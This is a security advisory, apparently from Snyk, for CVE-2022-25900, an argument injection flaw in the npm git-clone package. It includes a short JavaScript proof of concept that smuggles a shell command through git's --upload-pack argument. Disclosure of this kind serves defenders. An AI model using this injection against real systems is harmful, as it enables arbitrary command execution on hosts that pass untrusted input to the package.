Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') Affecting git-clone package, versions *
Threat Intelligence
EPSS
0.5% (77th
percentile)
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-JS-GITCLONE-2434308
- published 28 Jun 2022
- disclosed 28 Mar 2022
- credit Liran Tal
Introduced: 28 Mar 2022
CVE-2022-25900 Open this link in a new tabHow to fix?
There is no fixed version for git-clone
.
Overview
git-clone is a Clone a git repository
Affected versions of this package are vulnerable to Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') due to insecure usage of the --upload-pack
feature of git.
Note: A note was added to the README file of the package to only use the args
option with static/trusted input!
PoC:
const clone = require('git-clone')
const repo = 'file:///tmp/zero12345'
const path = '/tmp/example-new-repo'
const options = {
args: [
'--upload-pack=touch /tmp/pwn2'
]}
clone(repo, path, options)
Observe a new file created: /tmp/pwn2
References
CVSS Scores
version 3.1